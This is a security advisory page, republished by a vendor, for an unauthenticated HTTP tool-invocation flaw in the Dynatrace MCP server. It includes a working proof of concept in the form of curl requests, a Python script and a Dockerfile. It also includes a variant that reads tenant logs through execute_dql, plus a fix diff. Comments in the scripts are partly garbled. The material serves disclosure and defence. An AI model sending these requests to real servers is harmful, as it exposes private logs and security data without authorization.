GHSA-P7W7-4929-VPJ5

GHSA-P7W7-4929-VPJ5 is a high-severity missing authentication for critical function vulnerability in @dynatrace-oss/dynatrace-mcp-server (npm), affecting versions <= 1.8.7. It is fixed in 2.0.0.

Does this CVE actually affect you?

Kodem shows which CVEs are reachable and running in your applications, so you fix what's exploitable, not just what's listed.

Thank you! Your submission has been received!
Oops! Something went wrong while submitting the form.

Runtime intelligence, not another scanner.

Summary

@dynatrace-oss/dynatrace-mcp-server has Unauthenticated HTTP MCP Tool Invocation

@dynatrace-oss/dynatrace-mcp-server v1.8.5 exposes an HTTP transport mode (--http flag) that performs no authentication, session validation, or origin/host verification before dispatching MCP tool calls. Any network-reachable attacker can send a raw JSON-RPC tools/call request without an Authorization header and have it executed directly under the victim server's Dynatrace credentials. Confirmed high-impact tools reachable without authentication include execute_dql (reads arbitrary Grail data, including logs, security events, and user sessions) and create_dynatrace_notebook (writes notebooks to the tenant).

Details

When the server is started with the --http flag, an HTTP server is created at src/index.ts:1621. For every inbound request the handler creates a new StreamableHTTPServerTransport instance:

// src/index.ts:1638-1640
const httpTransport = new StreamableHTTPServerTransport({
  sessionIdGenerator: undefined, // No Session ID needed
});

No bearer-token check, session token, Host allowlist, or Origin allowlist is configured on either the transport or in the surrounding request handler. The raw body is parsed and handed directly to the transport:

// src/index.ts:1648-1668
body = JSON.parse(rawBody);
...
await httpTransport.handleRequest(req, res, body);

Two tools are directly reachable by an unauthenticated HTTP caller without any requestHumanApproval gate:

execute_dql, Confidentiality: High

// src/index.ts:746-769
// No requestHumanApproval before createAuthenticatedHttpClient
const dtClient = await createAuthenticatedHttpClient(scopesBase.concat('storage:buckets:read', ...));
return executeDql(dtClient, { query });

An attacker can run arbitrary DQL queries (logs, security events, user sessions, metrics) using the victim's Dynatrace credentials.

create_dynatrace_notebook, Integrity: Low

// src/index.ts:1593-1600
// No requestHumanApproval before createAuthenticatedHttpClient
const dtClient = await createAuthenticatedHttpClient(scopesBase.concat('document:write'));
return createNotebook(dtClient, { name, sections });

An attacker can create notebooks under the victim's tenant.

Note on send_event: The initial static report claimed send_event was also unguarded. Code inspection at src/index.ts:1367 confirms a requestHumanApproval call exists inside the send_event handler. An HTTP attacker (no MCP elicitation loop) causes that call to throw, and the catch block returns false, effectively blocking the write. The send_event path is therefore not exploitable via the HTTP attack vector.

Note on PoC tool reset_grail_budget: The PoC uses reset_grail_budget (src/index.ts:1218-1239), which performs no Dynatrace API calls, it resets in-memory budget counters only. It is used purely as a safe, self-contained proof that unauthenticated dispatch works; actual data exfiltration requires execute_dql with real credentials.

PoC

Environment setup (Docker):

# Build from repository root
docker build \
  -t dynatrace-mcp-vuln001:latest \
  -f /path/to/vuln-001/Dockerfile \
  /path/to/dynatrace-mcp/repo

# Run, abc12345 in hostname activates demo mode, skipping real API connectivity check
docker run -d \
  --name dynatrace-mcp-vuln001-test \
  -p 127.0.0.1:3999:3999 \
  -e DT_ENVIRONMENT=https://abc12345.apps.dynatrace.com \
  -e DT_PLATFORM_TOKEN=fake-token-for-poc \
  dynatrace-mcp-vuln001:latest \
  --http --port 3999 --host 0.0.0.0

Unauthenticated tool invocation (no Authorization header):

curl -sS -N -X POST http://127.0.0.1:3999/ \
  -H 'Content-Type: application/json' \
  -H 'Accept: application/json, text/event-stream' \
  -H 'Mcp-Protocol-Version: 2025-03-26' \
  --data '{"jsonrpc":"2.0","id":1,"method":"tools/call","params":{"name":"reset_grail_budget","arguments":{}}}'

Observed response (HTTP 200, no authentication required):

HTTP/1.1 200 OK
content-type: text/event-stream

event: message
data: {"result":{"content":[{"type":"text","text":"✅ **Grail Budget Reset Successfully!**\n\nBudget status after reset:\n- Total bytes scanned: 0 bytes (0 GB)\n- Budget limit: 5000 GB\n- Remaining budget: 5000 GB\n- Budget exceeded: No"}]},"jsonrpc":"2.0","id":1}

Python PoC script (automated, with server-readiness polling):

python3 poc.py 127.0.0.1 3999
# Exits 0 on confirmed unauthenticated tool execution
# Exits 2 if server correctly returns HTTP 401 (patched)

High-impact variant with real credentials, data exfiltration via execute_dql:

curl -sS -N -X POST http://<server>:3000/ \
  -H 'Content-Type: application/json' \
  -H 'Accept: application/json, text/event-stream' \
  -H 'Mcp-Protocol-Version: 2025-03-26' \
  --data '{
    "jsonrpc": "2.0",
    "id": 2,
    "method": "tools/call",
    "params": {
      "name": "execute_dql",
      "arguments": {
        "query": "fetch logs | limit 10"
      }
    }
  }'

Recommended remediation:

--- a/src/index.ts
+++ b/src/index.ts
+import { timingSafeEqual } from 'node:crypto';

+    .option('--http-auth-token <token>', 'bearer token required for HTTP server mode')

+  const httpAuthToken = options.httpAuthToken || process.env.DT_MCP_HTTP_AUTH_TOKEN;
+
+  const isAuthorizedHttpRequest = (req: IncomingMessage): boolean => {
+    const expected = httpAuthToken ? Buffer.from(`Bearer ${httpAuthToken}`) : undefined;
+    const actualHeader = req.headers.authorization;
+    if (!expected || !actualHeader) return false;
+    const actual = Buffer.from(actualHeader);
+    return actual.length === expected.length && timingSafeEqual(actual, expected);
+  };

   if (httpMode) {
+    if (!httpAuthToken) {
+      console.error('HTTP mode requires --http-auth-token or DT_MCP_HTTP_AUTH_TOKEN.');
+      process.exit(1);
+    }
     const httpServer = createServer(async (req, res) => {
+      if (!isAuthorizedHttpRequest(req)) {
+        res.writeHead(401, { 'Content-Type': 'application/json', 'WWW-Authenticate': 'Bearer' });
+        res.end(JSON.stringify({ jsonrpc: '2.0', id: null, error: { code: -32001, message: 'Unauthorized' } }));
+        return;
+      }

       const httpTransport = new StreamableHTTPServerTransport({
         sessionIdGenerator: undefined,
+        enableDnsRebindingProtection: true,
+        allowedHosts: [`${host}:${httpPort}`, `127.0.0.1:${httpPort}`, `localhost:${httpPort}`],
       });

Reproduction artifacts

Dockerfile

# VULN-001: Unauthenticated HTTP MCP Tool Invocation (CWE-306)
# build stage - text sourcefrom dynatrace-mcp-server build
FROM node:22.21.1-alpine3.22 AS build

WORKDIR /app

# repo copy the full repo source (hosttext clone repo pathfrom textand build)
COPY . .

RUN npm ci
RUN npm run build

# runtime textonly install (dist/package.json criteria)
RUN cd dist && npm install --ignore-scripts && npm cache clean --force

# runtime stage
FROM node:22.21.1-alpine3.22

WORKDIR /app

COPY --from=build --chown=node:node /app/dist /app/dist

USER node

# environment variable: fake Dynatrace credentials (actual API calltext without reset_grail_budget PoCtext)
# abc12345 contains when isDemoEnvironment=true → text text skip (src/index.ts:179)
ENV DT_ENVIRONMENT=https://abc12345.apps.dynatrace.com
ENV DT_PLATFORM_TOKEN=fake-token-for-poc

# HTTP text server start (--http: vulnerability text flag)
ENTRYPOINT ["node", "dist/index.js"]
CMD ["--http", "--port", "3999", "--host", "0.0.0.0"]

poc.py

#!/usr/bin/env python3
"""
VULN-001 PoC: Unauthenticated HTTP MCP Tool Invocation (CWE-306)

Proof objective:
  dynatrace-mcp-servertext --http text executetext when, Authorization headertext
  session token text tools/call requesttext sendand MCP tooltext executeto do can existstext proof.

Attack target tool: reset_grail_budget
  - actual Dynatrace API call text in-memory statusonly secondstext (textbeforetext PoC target)
  - success response: "Grail Budget Reset Successfully" string contains

usage:
  python3 poc.py [host] [port]
  python3 poc.py 127.0.0.1 3999
"""

import sys
import socket
import time
import json

HOST = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1"
PORT = int(sys.argv[2]) if len(sys.argv) > 2 else 3999
TIMEOUT = 15


def wait_for_server(host: str, port: int, retries: int = 20, delay: float = 1.0) -> bool:
    for i in range(retries):
        try:
            s = socket.create_connection((host, port), timeout=2)
            s.close()
            return True
        except (ConnectionRefusedError, OSError):
            print(f"[*] server wait in progress... ({i+1}/{retries})", flush=True)
            time.sleep(delay)
    return False


def send_unauthenticated_mcp_call(host: str, port: int) -> dict:
    """
    without an authentication header MCP tools/call send request.
    vulnerability: StreamableHTTPServerTransport create when sessionIdGenerator: undefinedonly configuration,
            Bearer token/Origin/Host verification beforetext none (src/index.ts:1638-1640).
    """
    payload = json.dumps({
        "jsonrpc": "2.0",
        "id": 1,
        "method": "tools/call",
        "params": {
            "name": "reset_grail_budget",
            "arguments": {}
        }
    })

    # authentication header textas omit - textthattext vulnerability prooftext key point
    request = (
        f"POST / HTTP/1.1\r\n"
        f"Host: {host}:{port}\r\n"
        f"Content-Type: application/json\r\n"
        f"Accept: application/json, text/event-stream\r\n"
        f"Mcp-Protocol-Version: 2025-03-26\r\n"
        f"Content-Length: {len(payload)}\r\n"
        f"Connection: close\r\n"
        f"\r\n"
        f"{payload}"
    )

    s = socket.create_connection((host, port), timeout=TIMEOUT)
    s.sendall(request.encode())

    response_chunks = []
    s.settimeout(TIMEOUT)
    try:
        while True:
            chunk = s.recv(4096)
            if not chunk:
                break
            response_chunks.append(chunk.decode("utf-8", errors="replace"))
    except socket.timeout:
        pass
    s.close()

    return "".join(response_chunks)


def main():
    print(f"[VULN-001 PoC] Unauthenticated HTTP MCP Tool Invocation")
    print(f"[*] target: http://{HOST}:{PORT}/")
    print(f"[*] authentication header: none (text omit - vulnerability proof)")
    print(f"[*] call tool: reset_grail_budget")
    print()

    # wait for server readiness
    print(f"[*] waiting for server response...")
    if not wait_for_server(HOST, PORT):
        print(f"[FAIL] {HOST}:{PORT} from server is not responding.")
        sys.exit(1)

    print(f"[*] server connection succeeded")
    print(f"[*] without authentication tools/call send request...")
    print()

    raw_response = send_unauthenticated_mcp_call(HOST, PORT)

    print("=== HTTP response raw text ===")
    print(raw_response)
    print("=== response text ===")
    print()

    # evidence verification
    # HTTP 401 Unauthorizedtext returnif it becomes vulnerability none (textdone)
    if "401" in raw_response and "Unauthorized" in raw_response:
        print("[FAIL] servertext 401 Unauthorizedtext returntext - authenticationtext textbecomes exists")
        print("[conclusion] vulnerabilitytext text authenticationtext enabledbecomes exists.")
        sys.exit(2)

    # success condition: reset_grail_budget result text contains
    if "Grail Budget Reset Successfully" in raw_response:
        print("[PASS] without authentication MCP tool execute success!")
        print("[evidence] responsetext 'Grail Budget Reset Successfully' contains")
        print("[conclusion] VULN-001 confirmed: --http textfrom without authentication tools/call execute possible")
        sys.exit(0)

    # jsonrpc result parse attempt
    for line in raw_response.split("\n"):
        line = line.strip()
        if line.startswith("data:") or line.startswith("{"):
            try:
                data_str = line[5:].strip() if line.startswith("data:") else line
                data = json.loads(data_str)
                if "result" in data:
                    print("[PASS] JSON-RPC result received - without authentication tool call success")
                    print(f"[evidence] {json.dumps(data, ensure_ascii=False)}")
                    sys.exit(0)
                if "error" in data:
                    err = data["error"]
                    print(f"[INFO] JSON-RPC error response: code={err.get('code')}, message={err.get('message')}")
            except json.JSONDecodeError:
                pass

    print("[INCOMPLETE] expected response patterntext text text.")
    print("[text] above response raw texttext check this.")
    sys.exit(3)


if __name__ == "__main__":
    main()

Impact

This is a Missing Authentication for Critical Function vulnerability. The HTTP transport mode acts as an unauthenticated proxy to the victim's Dynatrace tenant: any attacker who can reach the server port can read sensitive observability data (logs, security events, user sessions, metrics) via execute_dql and write notebook documents via create_dynatrace_notebook, all under the configured Dynatrace credentials without needing to know those credentials.

Who is impacted: Organizations running dynatrace-mcp-server with the --http flag enabled, particularly deployments using --host 0.0.0.0 (documented and supported), container deployments, or any deployment where the port is reachable from an untrusted network. Localhost-only deployments are at reduced but non-zero risk via DNS rebinding or same-host compromise. With --host 0.0.0.0 the attack requires no user interaction and no complex conditions, raising the effective CVSS score to 9.3.

A critical operation is accessible without requiring any authentication. Typical impact: any user can invoke the privileged function.

GHSA-P7W7-4929-VPJ5 has a CVSS score of 7.5 (High). The vector is network-reachable, no privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (2.0.0); upgrading removes the vulnerable code path.

Affected versions

@dynatrace-oss/dynatrace-mcp-server (<= 1.8.7)

Security releases

@dynatrace-oss/dynatrace-mcp-server → 2.0.0 (npm)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

Already deployed Kodem?

See it in your environmentNew to Kodem? Get a demo →

Remediation advice

Upgrade @dynatrace-oss/dynatrace-mcp-server to 2.0.0 or later to resolve this vulnerability.

Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.

Frequently Asked Questions

  1. What is GHSA-P7W7-4929-VPJ5? GHSA-P7W7-4929-VPJ5 is a high-severity missing authentication for critical function vulnerability in @dynatrace-oss/dynatrace-mcp-server (npm), affecting versions <= 1.8.7. It is fixed in 2.0.0. A critical operation is accessible without requiring any authentication.
  2. How severe is GHSA-P7W7-4929-VPJ5? GHSA-P7W7-4929-VPJ5 has a CVSS score of 7.5 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
  3. Which versions of @dynatrace-oss/dynatrace-mcp-server are affected by GHSA-P7W7-4929-VPJ5? @dynatrace-oss/dynatrace-mcp-server (npm) versions <= 1.8.7 is affected.
  4. Is there a fix for GHSA-P7W7-4929-VPJ5? Yes. GHSA-P7W7-4929-VPJ5 is fixed in 2.0.0. Upgrade to this version or later.
  5. Is GHSA-P7W7-4929-VPJ5 exploitable, and should I be worried? Whether GHSA-P7W7-4929-VPJ5 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  6. What actually determines whether GHSA-P7W7-4929-VPJ5 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  7. How do I fix GHSA-P7W7-4929-VPJ5? Upgrade @dynatrace-oss/dynatrace-mcp-server to 2.0.0 or later.

Other vulnerabilities in @dynatrace-oss/dynatrace-mcp-server

Stop the waste.
Protect your environment with Kodem.